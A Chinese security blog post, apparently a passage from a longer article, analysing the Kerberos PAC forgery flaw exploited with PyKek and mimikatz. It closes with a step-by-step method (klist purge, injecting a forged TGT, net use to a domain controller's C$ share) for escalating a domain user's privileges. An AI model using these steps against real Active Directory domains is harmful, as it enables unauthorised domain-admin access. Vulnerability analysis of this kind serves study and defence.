起初,我也很是疑惑,甚至都想放弃,因为实在分析不下去了,自己分析的过程和协议原理竟然有着这么多不同,我也怀疑过PyKek作者是不是写错了,但通过无数次的查找资料,终于在国外一个安全博客上找到了说法,这也是微软犯的第三个令人吃惊的错误:

只要TGS_REQ按照刚才那两个要求设置,KDC服务器会做出令人吃惊的事情:它不仅会从Authenticator中取出来subkey把PAC信息解密并利用客户端设定的签名算法验证签名,同时将另外的TGT进行解密得到Session Keya-kdc;

在验证成功后,把解密的PAC信息的尾部,重新采用自身Server_key和KDC_key生成一个带Key的签名,把Session Keya-kdc用subkey加密,从而组合成了一个新的TGT返回给Client-A

没错,是重新生成一个TGT,而不是Service Ticket。

如果你对前面对协议的介绍,很容易知道,TGT原本是通过AS_REP过程返回给Client-A的,而现在“毁人三观”的事情发生了,在TGS_REP过程中,KDC竟然返回个Client-A一个TGT。

到这里就明白了,PyKek攻击包中TGS_REP过程接收的其实是TGT,Session Key为Session Keya-kdc。

最终,这个TGT和Session Keya-kdc制作成了TGT_domainuser@SERVER.COM.ccache文件。

而接下来观察mimikatz工具创建的内存证书,也可以验证上述微软所犯的第三个错误:

C:\Users\test>klist
Current LogonId is 0:0xcaf61
Cached Tickets: (1)
#0>
    Client: domainuser @ SERVER.COM
Server: krbtgt/SERVER.COM @ SERVER.COM
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x50a00000 -> forwardable proxiable renewable pre_authent
Start Time: 1/8/2015 10:39:06 (local)
End Time:   1/8/2015 20:39:06 (local)
Renew Time: 1/15/2015 10:39:06 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
利用TGS_REP接收的Ticket和Session Key创建的内存证书,其Server为krbtgt/SERVER.COM,再根据我们队两次三方认证的理解,很容易就知道这是AS_REQ和AS_REP过程中才会将Server端认定为krbtgt,也就是说,接收的Ticket实质为TGT。

这样就能理解为啥net
use时,会再多一次TGS_REQ和TGS_REP过程了,因为漏洞利用过程中的TGS_REQ和TGS_REP所完成的并不是申请Service Ticket,而是通过“畸形”TGS_REQ请求申请的另外一个伪造后又增加了PAC信息的TGT,所以在net use之前必须再进行一次TGS_REQ与TGS_REP过程,利用缓存的TGT证书,申请用于net
use(其Server为cifs)的Service Ticket,这里从net use成功后,klist命令增加的内存证书中可以验证这一现象:

C:\Users\test>net use \\swg.server.com\c$
The command completed successfully.
C:\Users\test>klist
Current LogonId is 0:0xcaf61
Cached Tickets: (2)
#0>
    Client: domainuser @ SERVER.COM
      Server: krbtgt/SERVER.COM @ SERVER.COM
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x50a00000 -> forwardable proxiable renewable pre_authent
Start Time: 1/8/2015 10:39:06 (local)
End Time:   1/8/2015 20:39:06 (local)
Renew Time: 1/15/2015 10:39:06 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
#1>
    Client: domainuser @ SERVER.COM
      Server: cifs/swg.server.com @ SERVER.COM
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 1/8/2015 11:04:04 (local)
End Time:   1/8/2015 20:39:06 (local)
Renew Time: 1/15/2015 10:39:06 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
对于缓存证书,这里根据微软的说明,可以补充一点背景知识:

Credentials Cache
The credentials cache is managed by the Kerberos SSP, which runs in the LSA's security context. Whenever tickets and keys need to be obtained or renewed, the LSA calls the Kerberos SSP to accomplish the task.
From the client's point of view, a TGT is just another ticket. Before the client attempts to connect to any service, the client first checks the user credentials cache for a service ticket to that service. If it does not have one, it checks the cache again for a TGT. If it finds a TGT, the LSA fetches the corresponding logon session key from the cache, uses this key to prepare an authenticator, and sends both the authenticator and the TGT to the KDC, along with a request for a service ticket for the service.
In other words, gaining admission to the KDC is no different from gaining admission to any other service in the domain—it requires a session key, an authenticator, and a ticket (in this case, a TGT).
也就是说,net
use之前,系统会从Credentials
Cache中查看是否有Service
Ticket,如果没有则寻找TGT,找到后就发送给KDC申请Service
Ticket。

到这里,整个漏洞的原因就清晰了。

0×5 铁证如山:这是谁的精心策划

下面我们总结一下通过上面的分析找到的微软所犯的三个错误:

第一个错误:

在KDC机构对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。

第二个错误:

PAC没有被放在TGT中,而是放在了TGS_REQ数据包的其它地方。但可笑的是,KDC在实现上竟然允许这样的构造,也就是说,KDC能够正确解析出没有放在其它地方的PAC信息。

第三个错误:

只要TGS_REQ按照刚才漏洞要求设置,KDC服务器会做出令人吃惊的事情:它不仅会从Authenticator中取出来subkey把PAC信息解密并利用客户端设定的签名算法验证签名,同时将另外的TGT进行解密得到Session Keya-kdc;

在验证成功后,把解密的PAC信息的尾部,重新采用自身Server_key和KDC_key生成一个带Key的签名,把Session Keya-kdc用subkey加密,从而组合成了一个新的TGT返回给Client-A

在我分析出来这些之后,我感到深深地震惊,这个漏洞的产生真实太不可思议了,明明PAC需要放在TGT中,而微软添加了一个include-PAC标志设置为false两次后,就能导致PAC可以放在其它地方;明明是需要key的签名,微软却允许任意签名算法,包括不带key的;明明是TGS_REP返回的是Service
Ticket,微软却根Kerberos协议开了天大的玩笑,返回了一个TGT。

我只想说,这(TMD)得需要多么大的疏忽,才能让微软的员工犯下如此“巧妙的”错误,而且这个漏洞的触发真的是(TMD)太需要技巧了。

到这里,我只能以一个疑问结束我的震惊:这是谁的精心策划?答案留给读者思考吧。

0×6 干货:如何突破“本地账户才能漏洞利用”的限制

按照网上的测试,该漏洞一般用域用户的本地账户会利用成功。

但如果做过这个漏洞测试的童鞋肯定明白,首先必须登录域用户得到其在域中的SID(如果大家知道如何在本地账户下得到域用户的SID,请告知我!@#¥%……&*)

然后再登录本地账户测试漏洞,这是一件多么蛋疼的事情,于是,基于这个问题,我开始分析为什么在域用户下该漏洞无法利用成功。

当然,我在域用户下也测试过这个漏洞,当然,起初是不成功的。但利用PyKek是可以生成TGT_domainuser@SERVER.COM.ccache,并且mimikatz也可以将该文件写进缓存证书,也就是说TGT在域用户下可以被写入内存作为缓存证书。那问题出在哪里呢?net
use命令肯定没问题,最终我把问题定位在了缓存证书上。

为什么这样说呢?是因为偶然的一次测试中,我发现了一个奇怪的现象:

在本地账户中没有使用mimikatz向内存注入缓存证书之前,其内存中的缓存证书个数为0,而用mimikatz注入之后,变成1个,net
use之后,变为2个。

也就是说,net
use后会产生一个Service
Ticket被放进内存中。这点没有什么变化。

而当我在域用户下做类似测试时,却惊奇地发现:

在域用户中没有使用mimikatz向内存注入缓存证书之前,其内存中的缓存证书个数是4个,如下面:

C:\Users\domainuser>klist
Current LogonId is 0:0x239d6c
Cached Tickets: (4)
#0>
    Client: domainuser @ SERVER.COM
Server: krbtgt/SERVER.COM @ SERVER.COM
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e00000 -> forwardable renewableinitialpre_authent
Start Time: 1/9/2015 23:29:32 (local)
End Time:   1/10/2015 9:29:32 (local)
Renew Time: 1/16/2015 23:29:32 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
#1>
    Client: domainuser @ SERVER.COM
Server: cifs/swg.server.com @ SERVER.COM
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 1/9/2015 23:29:36 (local)
End Time:   1/10/2015 9:29:32 (local)
Renew Time: 1/16/2015 23:29:32 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
#2>
    Client: domainuser @ SERVER.COM
Server: ldap/swg.server.com @ SERVER.COM
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 1/9/2015 23:29:36 (local)
End Time:   1/10/2015 9:29:32 (local)
Renew Time: 1/16/2015 23:29:32 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
#3>
    Client: domainuser @ SERVER.COM
Server: LDAP/swg.server.com/server.com @ SERVER.COM
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 1/9/2015 23:29:33 (local)
End Time:   1/10/2015 9:29:32 (local)
Renew Time: 1/16/2015 23:29:32 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
而当我使用mimikatz注入缓存证书以后,变为:

C:\Users\domainuser>klist
Current LogonId is 0:0x239d6c
Cached Tickets: (4)
#0>
    Client: domainuser @ SERVER.COM
Server: krbtgt/SERVER.COM @ SERVER.COM
KerbTicket
Encryption Type: RSADSI RC4-HMAC(NT)
TicketFlags 0x50a00000-> forwardable proxiable renewable pre_authent
Start Time: 1/9/2015 23:35:41 (local)
End Time:   1/10/2015 9:35:41 (local)
Renew Time: 1/16/2015 23:35:41 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
#1>
    Client: domainuser @ SERVER.COM
Server: cifs/swg.server.com @ SERVER.COM
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 1/9/2015 23:29:36 (local)
End Time:   1/10/2015 9:29:32 (local)
Renew Time: 1/16/2015 23:29:32 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
#2>
    Client: domainuser @ SERVER.COM
Server: ldap/swg.server.com @ SERVER.COM
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 1/9/2015 23:29:36 (local)
End Time:   1/10/2015 9:29:32 (local)
Renew Time: 1/16/2015 23:29:32 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
#3>
    Client: domainuser @ SERVER.COM
Server: LDAP/swg.server.com/server.com @ SERVER.COM
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 1/9/2015 23:29:33 (local)
End Time:   1/10/2015 9:29:32 (local)
Renew Time: 1/16/2015 23:29:32 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
可以发现,之后TGT改变了,后面的三个缓存证书没有改变(第二个就是net use所使用的Service Ticket)

这里我突然又想到了缓存证书的作用:

net use之前,系统会从Credentials Cache中查看是否有Service Ticket,如果没有则寻找TGT,找到后就发送给KDC申请Service Ticket。

也就是说,mimikatz工具注入后,改变的是TGT,但net use使用的Service Ticket没有被修改,还是域用户登录时生成的普通域用户权限的Service Ticke,而根据对本地账户中测试的了解,起初内存中是没有net use的Service Ticket对应的缓存证书的,而是注入后,net use重新生成的缓存证书。

那关键就来了,有没有办法在域用户环境中清除net use需要用到的普通域用户权限的Service Ticket对应的缓存证书,然后注入漏洞利用生成的高权限TGT,最后由net use重新生成一个高权限的Service Ticket对应的缓存证书(本地账户漏洞利用过程就是这样的)?

于是,我怀着好奇的心理,阅读了列举缓存证书的命令klist,果然发现:

Usage:
Klist.exe [-lh <LogonId.HighPart>] [-li <LogonId.LowPart>] tickets | tgt| purge
果然发现purge这个单词,经Google翻译,为“清除”之意,心中窃喜,于是在域用户下使用该命令:

C:\Users\domainuser>klist purge
Current LogonId is 0:0x239d6c
Deleting all tickets:
Ticket(s) purged!
C:\Users\domainuser>klist
Current LogonId is 0:0x239d6c
Cached Tickets: (0)
果然,缓存证书被清空了,那接下来就好办了,再次利用mimikatz注入高权限TGT的缓存证书,然后执行:

C:\Users\domainuser>net use \\swg.server.com\c$
The command completed successfully.
你会发现,在域用户下,该漏洞也是可以利用的!
免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐